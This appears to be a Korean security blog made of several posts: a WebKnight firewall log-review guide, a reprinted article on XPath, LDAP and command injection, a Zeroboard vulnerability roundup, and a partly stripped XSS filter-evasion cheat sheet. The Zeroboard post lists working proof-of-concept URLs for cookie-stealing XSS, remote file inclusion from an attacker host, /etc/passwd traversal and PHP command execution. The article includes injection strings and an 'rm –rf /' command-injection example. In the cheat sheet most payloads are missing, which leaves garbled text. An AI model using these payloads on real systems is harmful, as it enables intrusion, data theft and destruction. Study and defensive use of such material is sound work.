최근 '웹나이트'를 비롯한 웹 방화벽에 대한 관심도가 크게 향상되었음은 물론이며 윈도우즈 웹 서버에 기본적으로 웹나이트를 비롯한 웹 방화벽이 설치될 정도로 보안 의식이 강화되었다고 합니다.

사실 웹나이트 외에도 하드웨어 웹 방화벽 장비나 기타 웹 방화벽 상품들이 시중에 많이 나와 있습니다만(따지고 보면 그렇게 많은 것도 아닙니다만…) 아무래도 비용적인 부담 때문에 많은 분들이 웹나이트를 선택해서 사용하고 계신 것으로 알고 있습니다.

서론이 길었네요. 예전 글에서도 누누히 말씀 드렸지만 웹나이트는 설치보다 관리가 몇 배는 더 중요합니다. 본 글에서는 웹나이트 설치 후, 반드시 해야 할 일 중 딱 두 가지만 다시 한 번 보기 좋게 정리해 보았습니다. 도움이 되셨으면 좋겠네요~

* 본 글은 '웹나이트 2.1 버전'과 '윈도우즈 2003 스탠다드 SP2 + IIS 6' 를 기반으로 작성되었습니다.


1. 웹나이트 로그를 반드시 정기적으로 확인하세요.

서버 관리자의 주된 업무 중 하나인 로그 확인 및 분석! 웹나이트 역시 정기적인 또는 주기적인 로그 확인이 무엇보다 중요합니다. 웹나이트 2.X 버전부터는 별도의 로그 애널라이저(analysis.exe)가 동봉 되어 있기 때문에 단순히 텍스트 파일을 열어 확인하는 것보다는 한결 수월해졌습니다.

로그 확인의 기본은 해당 로그의 형식 파악입니다. 그럼, 웹나이트에서 남기는 로그의 형식을 알아야 겠죠? 웹나이트의 로그 형식은 다음과 같습니다.

시간 ; 웹사이트 식별자 ; 이벤트 ; 클라이언트 IP주소 ; 사용자 명 ; 이벤트와 관련된 자세한 사항

이해를 돕기 위해 실제 웹나이트 로그를 통해 구분을 나눠보겠습니다.

03:21:39 ; W3SVC1 ; OnPreprocHeaders ; ***.***.***.*** ; ; GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring ; HTTP/1.1 ;  ASPSESSIONIDAQDBDDAD=EDIAJJBAFOHJCEKKEMBNCEJD

1. 시간 : 03:21:39

2. 웹사이트 식별자 : W3SVC1

3. 이벤트 : OnPreprocHeaders

4. 클라이언트 IP주소 : ***.***.***.***

5. 사용자 명 : 내용 없음

6. 이벤트와 관련된 자세한 사항 : GET ; /test/test.asp ; id=37'%20and%20user%2Bchar(124)=0%20and%20"=' ; BLOCKED: possible SQL injection in querystring

로그 마지막에 'HTTP/1.1….' 부분은 크게 염두할 사항이 아니므로 과감히 잘라냈습니다. 위의 예제 로그를 분석해 보면 GET 방식으로 전달 받은 변수값에 SQL 인젝션 코드가 삽입되어 있어 웹나이트에 의해 클라이언트의 접근이 차단된 것임을 알 수 있습니다. 아마 URL을 직접 변조하여 SQL 인젝션을 시도했던 모양입니다…-_-;;

만일 로그 분석을 통해 공격 시도가 확인되었다면 서버 관리자는 공격자의 IP주소를 발췌하여 한국인터넷진흥원(NIDA) WHOIS 페이지(http://whois.nida.or.kr)에서 IP주소의 관리사와 관리자 그리고 제원을 확인해야 합니다.

조회된 정보를 살펴보면 하단에 네트워크 어뷰즈(Network Abuse) 담당자의 연락처와 이메일 주소를 확인하실 수 있을 겁니다. 보통 이 네트워크 어뷰즈 담당자의 이메일 주소로 귀사에서 관리하고 있는 네트워크 자원에서 SQL 인젝션 공격(또는 해킹 공격)이 접수되었다는 내용의 메일을 발송해 줍니다.

메일 내용에는 공격자의 IP주소와 해당 서버의 IP주소, 공격이 확인된 시간과 자세한 로그(웹나이트 로그에서 필요한 부분만 발췌하면 되겠죠?) 등을 반드시 동봉해 주어야 합니다.

만일 공격자의 IP주소를 국내 기관에서 관리하고 있다면 보통 처리 결과에 대한 회신이 1~2주 이내로 도착할 것입니다. 해외 기관에서 관리하고 있을 경우에는 처리 결과에 대한 구체적인 회신은 없을지라도 약 70% 이상 내부적으로 조치가 완료되니 너무 염려하지 마시구요.(참고로 해당 ISP 업체가 막장인 경우에는… 답이 없습니다.)

* 참고로 해외 기관에서 관리하고 있는 IP주소일 경우 한국인터넷진흥원 WHOIS 페이지에서 바로 조회 결과가 출력되지 않습니다. 해당 IP주소에 대한 정보 대신 조회해 볼 수 있는 해외 기관의 웹사이트 주소가 출력되는데. 해당 웹사이트로 이동하셔서 다시 한 번 IP주소에 대한 정보를 조회해 보시기 바랍니다.

이제 가장 중요한 것은 재접근 자체를 원천봉쇄 하는 것입니다. 서버 앞 단에 방화벽 장비 등이 이미 설치되어 있다면 정말 베스트겠죠?(방화벽 장비가 설치되어 있지 않다면 윈도우즈 방화벽, IPSEC, IIS 설정 등으로 차단할 수 있습니다만, 역시 방화벽 장비가 쵝오…!)

만일 로그 분석을 통해 확인된 공격자의 IP주소가 123.123.123.123 이라며 단순히 123.123.123.123 IP주소만 차단할 것이 아니라 C클래스, 즉 123.123.123.0 부터 123.123.123.255 까지 대역 자체를 차단하는 것이 좋습니다.

그 이유는 공격자의 IP주소가 해커의 손아귀에 들어간 흔히 말하는 좀비 서버의 IP주소라면 같은 세그먼트에 연결되어 있는 다른 서버 역시 좀비 서버가 되었을 가능성이 높기 때문입니다. 보통 같은 세그먼트에 연결된 서버끼리는 포트뿐만 아니라 IP 자체를 오픈해 놓는 경우가 많습니다. 포트스캐닝 프로그램만 한 번 돌려보면 손쉽게 다음 타겟을 찾을 수 있지요.


2. 새로운 해킹 동향에 대해 관심을 가져주세요.

어떤 분께서 이런 말씀을 하시더라구요. '보안은 곧 관심이다.' 라고요. 저는 이 말에 100배 공감합니다. 새로운 해킹 수법은 이미 그 피해 사례가 확대되기 전에 설이 풀리기 마련입니다. 물론 그 설에는 다양한 정보들이 내포되어 있습니다.

새로운 해킹 수법에 의한 피해 사례는 보통 국내 보다는 해외에서 먼저 발견되는 경우가 많습니다. 보통 일본과 미국 쪽에서 먼저 리포팅 되곤 하는데 영어의 압박이 있긴 합니다만 해석이 불가능 할 정도로 어려운 글들은 아닙니다. 사실 우리가 보안과 관련해서 사용하는 용어들도 영어가 많기 때문에 그나마 위안으로 삼으시면…-_-;;

그리고 이런 정보들이 국내 IT 보안 전문 업체나 해커들에 의해 해석되고, 분석되서 손쉽게 재가공된 정보가 검색될 때도 국내 피해 사례는 그렇게 크지 않습니다.(거의 없다고 봐도 무방할 정도로…) 늦지 않았다는 얘기지요. 이번 쿠키 변조를 통한 Mass SQL 인젝션도 그랬고, 그 이전에 Mass SQL 인젝션도 그랬습니다.

관심을 갖는다면 충분히 사전에 예방할 수 있습니다. 음… 제가 시간 날 때마다 방문하는 웹사이트 몇 군데를 소개해 드릴까 합니다.

- http://www.secureworks.com/research/threats/
- http://www.nchovy.kr/
- http://swbae.egloos.com/
- http://www.krcert.or.kr/index.jsp
- http://www.us-cert.gov

2009/08/27 11:09 2009/08/27 11:09

SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다

 

Malicious Code Injection: It’s Not Just for SQL Anymore

 

 

by: Bryan Sullivan

More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.


In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.


The Basic Premise of All Code Injection Types

Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.


There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.

The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.

 

Looking Beyond SQL Injections

Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.


An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.


For example, consider the following XML document used by an e-commerce website to store customers’ order history:


<? xml version = " 1.0" encoding =" utf-8" ?>
< orders >
  < customer id = " 1" >
    < name > Bob Smith </ name >
    <email>bob.smith@bobsmithinc.com</email>
    <creditcard> 1234567812345678 </creditcard>
    <order>
      <item>
        <quantity> 1 </quantity>
        <price> 10.00 </price>
        <name> Sprocket </name>
      </item >
      <item >
        <quantity> 2 </quantity>
        <price> 9.00 </price>
        <name> Cog </name>
      </item>
    </order>
  </ customer >
  …
</ orders >


The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:


string query = "/orders/customer[@id='" +
customerId
+ "']/order/item[price >= '" +
priceFilter
+ "']";


If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:


'] | /* | /foo[bar='


With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.

 

LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.

Some examples of LDAP injection clauses are:

  • *
  • )(|(cn=*)
  • )(|(objectclass=*)
  • )(|(homedirectory=*)

Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:

finger bobsmith
becomes:
finger bobsmith; rm –rf /

which will attempt to delete every file on the system.

 

Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.


In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.


The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.


The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.

To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.

 

Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.

 

About the Author

Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.

2009/08/26 17:43 2009/08/26 17:43

출처 SecurityPlus

게시판만들때 참고하면 많은 도움 됩니다


==============================================================================


안녕하세요. SecurityPlus입니다.

본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.

그럼, 많은 활용 바랍니다.

안녕히 계세요.


제로보드 취약점 총정리  

■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E

http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E

http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E


■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/


■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/


■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00


■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>


■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,

--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------

and type the following URL to invoke this sample code.

TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"

-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------


■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a

2009/08/26 17:42 2009/08/26 17:42

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다


XSS (Cross Site Scripting):

    XSS locator. Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word "XSS" will pop up. Use the URL encoding calculator below to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated "<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS locator 2. If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for <XSS verses &lt;XSS to see if it is vulnerable:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No filter evasion. This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well - I'll probably revise this at a later date):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No quotes and no semicolon:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Case insensitive XSS attack vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    HTML entities (the semicolons are required for this to work):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    fromCharCode (if no quotes of any kind are allowed you can >
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an <IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate a html encoded string (I've seen this in the wild):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string =~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Use the XSS calculator for more information:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded tab to break up the cross site scripting attack:
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embeded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. See the ascii chart for more details. The following four XSS examples illustrate this vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector) these are not spaces just one of the three characters as described above:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up JavaScript directive. Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy or use %00 in the URL string or if you want to write your own injection tool you can either use vim (^V^@ will produce a null) or the following program to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hypen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Null breaks up cross site scripting vector. Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "">
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s":

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Non-alpha-non-digit part 2 XSS. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Extraneous open brackets. Submitted by Franz Sedlmaier, this XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    No closing script tags. In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't effect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally, although beware, I have no idea what the HTML will end up looking like once this is injected:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Protocol resolution in script tags. This particular variant was submitted by Łukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, and of course, the shorter your domain, the better. The ".j" is valid, regardless of the MIME type because the browser knows it in context of a SCRIPT tag.

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Half open HTML/JavaScript XSS vector. Unlike Firefox the IE rendering engine doesn't add extra data to your page, but it does allow the javascript: directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes there is any HTML tag below where you are injecting this cross site scripting vector. Even though there is no close ">" tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ because it doesn't require the end ">". As a side note, this was also affective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Double open angle brackets. This is an odd one that Steven Christey brought to my attention. At first I misclassified this as the same XSS vector as above but it's surprisingly different. Using an open angle bracket at the end of the vector instead of a close angle bracket causes different behavior in Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    XSS with no single quotes or double quotes or semicolons:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="\\";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. The XSS locator uses this method.:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    End title tag. This is a simple XSS vector that closes <TITLE> tags, which can encapsulate the malicious cross site scripting attack:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    INPUT image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY image:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BODY tag (I like this method because it doesn't require using any variants of "")>
    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Event Handlers that can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time of this writing). Please note I have excluded browser support from this section because each one may have different results in different browsers. Thanks to Rene Ledosquet for the HTML+TIME updates:



    IMG Dynsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    IMG lowsrc:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    BGSOUND:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    & JavaScript includes (works in Netscape 4.x):

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    LAYER (also only works in Netscape 4.x)

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54] [NS4]


    STYLE sheet:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style parameter can be redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:

    Browser support: [IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop. As a side note, you can remove the end </STYLE> tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equals sign or a slash in your cross site scripting attack, which has come up at least once in the real world:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 3. This only works in Opera but is fairly tricky. According to RFC2616 setting a link header is not part of the HTTP1.1 spec, however some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefor is vulnerable to this for the vast majority of sites:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    Local htc file. This is a little different than the above two cross site scripting vectors because it uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


    List-style-image. Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:

    Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF1.5] [O8.54]


